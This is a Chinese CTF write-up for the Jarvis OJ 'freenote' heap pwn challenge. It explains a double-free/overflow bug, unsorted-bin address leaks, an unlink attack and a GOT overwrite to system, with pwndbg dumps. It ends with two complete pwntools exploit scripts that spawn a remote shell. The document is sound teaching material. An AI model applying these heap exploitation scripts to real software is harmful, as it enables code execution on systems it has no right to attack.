前言
之前看过一点点堆的资料……然后就被劝退了,最近又硬着头皮捡起来看,打算用这道题来入门堆,调了两天,装了个 pwndbg ,看堆舒服了很多,最后总算是搞懂了,写篇文章总结一下。
解题思路
首先是保护机制:
| 12
 3
 4
 5
 6
 
 | [*] '/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/freenote_x64'Arch:     amd64-64-little
 RELRO:    Partial RELRO
 Stack:    Canary found
 NX:       NX enabled
 PIE:      No PIE (0x400000)
 
 | 
没有开 PIE,且 GOT 表可写。
IDA 反编译看代码,看到代码逻辑:
- 先申请一个 0x1810 大小的堆作为索引表,然后将最大堆数 256 放进堆里
- new note,将1(表示该堆已分配)、堆大小、堆地址放入索引表中,堆的大小是 0x80 的倍数
- list note,按照索引表中的地址读取堆内容
- edit note,按照索引表中的地址修改堆内容
- delete note,按照索引表中的地址 free 堆
可以看到读入 note 内容的时候没有加上 \x00,利用 list note 功能可以泄露地址:
| 12
 3
 4
 5
 6
 
 | for ( i = 0; (signed int)i < (signed int)a2; i += v4 ){
 v4 = read(0, (void *)(a1 + (signed int)i), (signed int)(a2 - i));
 if ( v4 <= 0 )
 break;
 }
 
 | 
可以看到 delete_note 功能中存在漏洞,只要输入的 note 编号小于总数就可以 free,没有检查,存在 double free 和 UAF 漏洞,触发 unlink 就可以任意地址写:
| 12
 3
 4
 5
 6
 7
 8
 
 | if ( v1 >= 0 && (signed __int64)v1 < *(_QWORD *)qword_6020A8 ){
 --*(_QWORD *)(qword_6020A8 + 8);
 *(_QWORD *)(qword_6020A8 + 24LL * v1 + 16) = 0LL;
 *(_QWORD *)(qword_6020A8 + 24LL * v1 + 24) = 0LL;
 free(*(void **)(qword_6020A8 + 24LL * v1 + 32));
 result = puts("Done.");
 }
 
 | 
可以看到 edit_note 功能中,对输入长度没有做检验,可以溢出覆盖:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | if ( v3 != *(_QWORD *)(qword_6020A8 + 24LL * v4 + 24) ){
 v1 = (unsigned int)((signed int)(128 - (((((unsigned int)((unsigned __int64)v3 >> 32) >> 25) + (_BYTE)v3) & 0x7F) - ((unsigned int)((unsigned __int64)v3 >> 32) >> 25))) >> 31) >> 25;
 v2 = qword_6020A8;
 *(_QWORD *)(v2 + 24LL * v4 + 32) = realloc(*(void **)(qword_6020A8 + 24LL * v4 + 32), (signed int)((((_BYTE)v1 + -128 - (char)v3 % -128) & 0x7F) - v1 + v3));
 *(_QWORD *)(qword_6020A8 + 24LL * v4 + 24) = v3;
 }
 printf("Enter your note: ");
 write_note_content(*(_QWORD *)(qword_6020A8 + 24LL * v4 + 32), v3);
 result = puts("Done.");
 
 | 
那思路就很明确了:利用 list note 泄露地址,堆溢出伪造,然后通过触发 unlink 劫持 GOT 表,将某个函数地址改写为 system 来 getshell。
EXP 编写
泄露 heap 基地址 / 泄露 libc 基地址
原理
free 掉两个不连续的 chunk 之后,它们会被放入 unsorted bin 中,跟 unsorted bin 的地址通过 fd 和 bk 指针构成一个双向链表,比如我 free 了编号 1 和 3 的两个堆:
| 12
 
 | unsortedbinall: 0x1cfa8b0 —▸ 0x1cfa9d0 —▸ 0x7f93c61a1b78 (main_arena+88) ◂— 0x1cfa8b0
 
 | 
由此我们有两种方案可以将地址泄露出来:
- 从前一个堆进行溢出,覆盖掉被 free 堆的 head,这是 chunk0 和 chunk1 的数据,可以看到 chunk1 被 free 之后有了 fd 和 bk 两个指针(0xf2b8c0): | 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | pwndbg> x/40xg 0xf2b8200xf2b820:	0x0000000000000000	0x0000000000000091
 0xf2b830:	0x6161616161616161	0x6161616161616161
 0xf2b840:	0x6161616161616161	0x6161616161616161
 0xf2b850:	0x6161616161616161	0x6161616161616161
 0xf2b860:	0x6161616161616161	0x6161616161616161
 0xf2b870:	0x6161616161616161	0x6161616161616161
 0xf2b880:	0x6161616161616161	0x6161616161616161
 0xf2b890:	0x6161616161616161	0x6161616161616161
 0xf2b8a0:	0x6161616161616161	0x6161616161616161
 0xf2b8b0:	0x0000000000000000	0x0000000000000091
 0xf2b8c0:	0x0000000000f2b9d0	0x00007fe399d8eb78
 0xf2b8d0:	0x6262626262626262	0x6262626262626262
 0xf2b8e0:	0x6262626262626262	0x6262626262626262
 0xf2b8f0:	0x6262626262626262	0x6262626262626262
 0xf2b900:	0x6262626262626262	0x6262626262626262
 0xf2b910:	0x6262626262626262	0x6262626262626262
 0xf2b920:	0x6262626262626262	0x6262626262626262
 0xf2b930:	0x6262626262626262	0x6262626262626262
 
 |  
 
- chunk0 溢出覆盖 0xf2b8b0 地址处的 chunk1 的 head(0xf2b8b0),即可通过 list note 泄露处 0xf2b8c0 处的地址(chunk3地址和main_arena+88,即unsorted bin这个”chunk”的”head”)。 
- 原理同上,申请一个同样大小的新堆,如果内容长度不足这两个指针不会被覆盖,我们可以只覆盖 fd,泄露 bk。 
libc 基地址计算
| 12
 
 | 0x7fe399d8eb10 <__malloc_hook>:	0x0000000000000000	0x00000000000000000x7fe399d8eb20 <main_arena>:	0x0000000100000000	0x0000000000000000
 
 | 
| 1
 | libc_base = 泄露出来的(main_arena + 88)的地址 - libc.symbols["__malloc_hook"] - 88 - 0x10或者0x20
 | 
具体是 0x10 还是 0x20 就很玄学,比如这题我本地是 0x10,远程是 0x20。或者也可以在 unlink 之后利用任意地址写进行泄露。
heap 基地址计算
| 1
 | heap_base = 泄露出来的chunk3的地址 - 0x1810(一开始申请的大堆的大小) - 0x10(大堆的head) - 0x90(小堆的大小) * 3(chunk3之前的chunk的数量)
 | 
unlink
原理
我在 free 了 chunk0 之后,如果我再 free chunk1,就会触发向前合并,chunk0 就会被 unlink。而 unlink 操作中有一个这样子的操作:
| 12
 3
 4
 
 | FD = P -> fd                                                       BK = P -> bk
 FD -> bk = BK
 BK -> fd = FD
 
 | 
通过这个操作,我们可以改写指向 chunk0 的指针 p(即索引表中的指针)指向 p - 3 的地址,然后我们利用 edit note 功能对 p 进行修改,即可实现任意地址写。
还会进行检查:
| 12
 3
 4
 
 | P -> fd -> bk == PP -> bk -> fd == P
 P -> fd_nextsize -> bk_nextsize == P
 P -> bk_nextsize -> fd_nextsize == P
 
 | 
所以我们堆溢出伪造的时候需要加以注意。
栗子
泄露地址之后的 chunk0 和 chunk1 长这样:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | 0x730820:	0x0000000000000000	0x00000000000001210x730830:	0x6161616161616161	0x6161616161616161
 0x730840:	0x6161616161616161	0x6161616161616161
 0x730850:	0x6161616161616161	0x6161616161616161
 0x730860:	0x6161616161616161	0x6161616161616161
 0x730870:	0x6161616161616161	0x6161616161616161
 0x730880:	0x6161616161616161	0x6161616161616161
 0x730890:	0x6161616161616161	0x6161616161616161
 0x7308a0:	0x6161616161616161	0x6161616161616161
 0x7308b0:	0x6565656565656565	0x6565656565656565
 0x7308c0:	0x6565656565656565	0x00007f43ad461b78
 0x7308d0:	0x6262626262626262	0x6262626262626262
 0x7308e0:	0x6262626262626262	0x6262626262626262
 0x7308f0:	0x6262626262626262	0x6262626262626262
 0x730900:	0x6262626262626262	0x6262626262626262
 0x730910:	0x6262626262626262	0x6262626262626262
 0x730920:	0x6262626262626262	0x6262626262626262
 0x730930:	0x6262626262626262	0x6262626262626262
 
 | 
我们通过溢出伪造 chunk0 和 chunk1:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | 0x83a820:	0x0000000000000000	0x00000000000001210x83a830:	0x0000000000000000	0x0000000000000080
 0x83a840:	0x0000000000839018	0x0000000000839020
 0x83a850:	0x6161616161616161	0x6161616161616161
 0x83a860:	0x6161616161616161	0x6161616161616161
 0x83a870:	0x6161616161616161	0x6161616161616161
 0x83a880:	0x6161616161616161	0x6161616161616161
 0x83a890:	0x6161616161616161	0x6161616161616161
 0x83a8a0:	0x6161616161616161	0x6161616161616161
 0x83a8b0:	0x0000000000000080	0x0000000000000090
 0x83a8c0:	0x7070707070707070	0x7070707070707070
 0x83a8d0:	0x7070707070707070	0x7070707070707070
 0x83a8e0:	0x7070707070707070	0x7070707070707070
 0x83a8f0:	0x7070707070707070	0x7070707070707070
 0x83a900:	0x7070707070707070	0x7070707070707070
 0x83a910:	0x7070707070707070	0x7070707070707070
 0x83a920:	0x7070707070707070	0x7070707070707070
 0x83a930:	0x6262626262626262	0x6262626262626262
 
 | 
此时我们有一个指向 chunk0 的指针位于 0x839030(从0x839020开始,每三个数据代表一个chunk,即是否被分配、大小和地址):
| 12
 3
 4
 5
 
 | 0x839000:	0x0000000000000000	0x00000000000018210x839010:	0x0000000000000100	0x0000000000000003
 0x839020:	0x0000000000000001	0x0000000000000100
 0x839030:	0x000000000083a830	0x0000000000000000
 0x839040:	0x0000000000000000	0x000000000083a8c0
 
 | 
显然 unlink 的检查可以绕过,并且在 unlink 之后我们可以覆盖指向 chunk0 的指针为 p - 3:
| 12
 3
 4
 5
 
 | 0x839000:	0x0000000000000000	0x00000000000018210x839010:	0x0000000000000100	0x0000000000000002
 0x839020:	0x0000000000000001	0x0000000000000100
 0x839030:	0x0000000000839018	0x0000000000000000
 0x839040:	0x0000000000000000	0x000000000083a8c0
 
 | 
之后我们对 note 0 进行 edit 的时候,即可修改 0x0000000000839018 地址之后的数据,修改的时候注意哪里的数据需要修改,哪里的不需要修改。
泄露 libc 基地址
原理
利用 edit note 功能对 p 进行修改的时候,可以改写其中一个 chunk 的地址为想要泄露的地址,比如 elf.got[“atoi”],然后利用 list note 功能即可进行泄露。
栗子
| 12
 3
 4
 5
 
 | 0x839000:	0x0000000000000000	0x00000000000018210x839010:	0x0000000000000100	0x0000000000000002
 0x839020:	0x0000000000000001	0x0000000000000100
 0x839030:	0x0000000000839018	0x0000000000000000
 0x839040:	0x0000000000000000	0x000000000083a8c0
 
 | 
将 0x839040 处的地址修改为 elf.got[“atoi”],在 list 的时候即可打印 atoi 函数的地址。
劫持 GOT 表
原理
利用 edit note 功能对 p 进行修改的时候,可以改写其中一个 chunk 的地址为想要覆盖的地址,比如 elf.got[“atoi”],然后利用 edit note 功能即可进行修改。
栗子
| 12
 3
 4
 5
 
 | 0x839000:	0x0000000000000000	0x00000000000018210x839010:	0x0000000000000100	0x0000000000000002
 0x839020:	0x0000000000000001	0x0000000000000100
 0x839030:	0x0000000000839018	0x0000000000000000
 0x839040:	0x0000000000000000	0x000000000083a8c0
 
 | 
将 0x839040 处的地址修改为 elf.got[“atoi”],在 edit note1 的时候即可覆盖 atoi 函数的地址。
完整exp
在编写 exp 的时候还有很多细节需要注意:
- new 5个 chunk,防止 free chunk3 的时候向top chunk合并。
- 发送 note 内容的时候不要 sendline,换行符会被分开当成下一次输入时的 choice,影响 recvuntil 获取地址。
- unlink 覆盖 p 之后,edit 的时候要注意长度要跟上次一样,不然会进入判断调用 realloc 导致程序崩溃。(payload.ljust(0x100, ‘p’))
- 要 edit 的 chunk 在索引表中要表示为已分配。
不知道为什么这么写的也可以自行调试一下。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 
 | from pwn import *
 context.log_level = "debug"
 local = 0
 
 elf = ELF("../../freenote_x64")
 
 if local:
 libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
 target = process("../../freenote_x64")
 gdb.attach(proc.pidof(target)[0])
 else:
 libc = ELF("../../libc-2.19.so")
 target = remote("pwn2.jarvisoj.com", 9886)
 
 malloc_hook_libc = libc.symbols["__malloc_hook"]
 system_libc = libc.symbols["system"]
 
 
 def list():
 target.sendlineafter('choice: ','1')
 
 
 def new(payload):
 target.sendlineafter('choice: ','2')
 target.sendlineafter('new note: ',str(len(payload)))
 target.sendafter('note: ',payload)
 
 
 def edit(num,payload):
 target.sendlineafter('choice: ','3')
 target.sendlineafter('number: ',str(num))
 target.sendlineafter('note: ',str(len(payload)))
 target.sendafter('your note: ',payload)
 
 
 def delete(num):
 target.sendlineafter('choice: ','4')
 target.sendlineafter('number: ',str(num))
 
 
 new('a' * 0x80)
 new('b' * 0x80)
 new('c' * 0x80)
 new('d' * 0x80)
 new('e' * 0x80)
 
 delete(3)
 delete(1)
 
 log.progress('leak heap address')
 edit(0,'a' * 0x80 + 'e' * 0x10)
 list()
 target.recvuntil("e" * 0x10)
 heap_base = u64(target.recvuntil("\n", drop=True).ljust(0x8, '\x00')) - 0x1810 - 0x10 - 0x90 * 3
 success("leak heap address OK")
 
 log.progress('leak libc address')
 edit(0,'a' * 0x80 + 'e' * 0x18)
 list()
 target.recvuntil("e" * 0x18)
 libc_base = u64(target.recvuntil("\n", drop=True).ljust(0x8, '\x00')) - malloc_hook_libc - 0x20 - 88
 success("leak libc address OK")
 
 log.progress('unlink')
 payload = p64(0) + p64(0x80) + p64(heap_base + 0x30 - 0x18) + p64(heap_base + 0x30 - 0x10) + 'a' * (0x80 - 4 * 8) + p64(0x80) + p64(0x90)
 payload = payload.ljust(0x100, 'p')
 edit(0, payload)
 delete(1)
 success("unlink OK")
 
 payload = p64(2) + p64(1) + p64(0x80) + p64(heap_base + 0x30) + p64(1) + p64(8) + p64(elf.got["atoi"])
 payload = payload.ljust(0x100, 'p')
 edit(0, payload)
 
 
 
 
 edit(1, p64(libc_base + system_libc))
 
 success('heapbase: ' + hex(heap_base))
 success('libcbase: ' + hex(libc_base))
 
 
 target.sendlineafter('choice: ','/bin/sh\x00')
 
 target.interactive()
 target.close()
 
 | 
level6_x86
趁热打铁,今天做一做 32 位版本的题目加固一下,逻辑上没有太大变化,不过好像没有 atoi 函数,所以这次劫持的是 free 函数,将 /bin/sh 的字符串写入 note1 中,然后在改写索引表的时候注意不要修改了 note1 的地址,然后就是将 64 位的偏移修改一下就可以了:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 
 | from pwn import *
 context.log_level = "debug"
 local = 0
 
 elf = ELF("../../freenote_x86")
 
 if local:
 libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
 target = process("../../freenote_x86")
 gdb.attach(proc.pidof(target)[0])
 else:
 libc = ELF("../../libc-2.19.so")
 target = remote("pwn2.jarvisoj.com", 9885)
 
 memalign_hook_libc = libc.symbols["__memalign_hook"]
 system_libc = libc.symbols["system"]
 
 
 def list():
 target.sendlineafter('choice: ', '1')
 
 
 def new(payload):
 target.sendlineafter('choice: ', '2')
 target.sendlineafter('new note: ', str(len(payload)))
 target.sendafter('note: ', payload)
 
 
 def edit(num,payload):
 target.sendlineafter('choice: ', '3')
 target.sendlineafter('number: ', str(num))
 target.sendlineafter('note: ', str(len(payload)))
 target.sendafter('your note: ', payload)
 
 
 def delete(num):
 target.sendlineafter('choice: ', '4')
 target.sendlineafter('number: ', str(num))
 
 
 new('a' * 0x80)
 new('b' * 0x80)
 new('c' * 0x80)
 new('d' * 0x80)
 new('e' * 0x80)
 
 delete(3)
 delete(1)
 
 log.progress('leak address')
 edit(0, "a" * 0x80 + "e" * 0x8)
 list()
 target.recvuntil("e" * 0x08)
 heap_base = u32(target.recv(4)) - 0xC10 - 0x08 - 0x88 * 3
 libc_base = u32(target.recv(4)) - 48 - 0x20 - memalign_hook_libc
 success("leak OK")
 success("heap base: %s" % hex(heap_base))
 success("libc base: %s" % hex(libc_base))
 
 log.progress('unlink')
 payload = p32(0) + p32(0x81) + p32(heap_base + 0x08 + 0x04 * 1) + p32(heap_base + 0x08 + 0x04 * 2)
 payload += 'a' * (0x80 - 4 * 0x4) + p32(0x80) + p32(0x88) + "/bin/sh\x00"
 payload = payload.ljust(0x90, "p")
 edit(0, payload)
 delete(1)
 success("unlink OK")
 
 payload = p32(2) + p32(1) + p32(0x4) + p32(elf.got["free"])
 payload += p32(1) + p32(0x4) + p32(heap_base + 0x08 + 0xc10 + 0x88 * 1 + 0x08)
 payload = payload.ljust(0x90, "p")
 edit(0, payload)
 edit(0, p32(libc_base + system_libc))
 
 delete(1)
 
 target.interactive()
 target.close()
 
 | 
参考文章:
https://blog.csdn.net/qq_38204481/article/details/82808011
https://www.cnblogs.com/0xJDchen/p/6195919.html
https://www.360zhijia.com/anquan/427474.html
https://www.cnblogs.com/alisecurity/p/5486458.html
https://www.cnblogs.com/alisecurity/p/5520847.html
http://www.cnblogs.com/snip3r/p/9962960.html
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/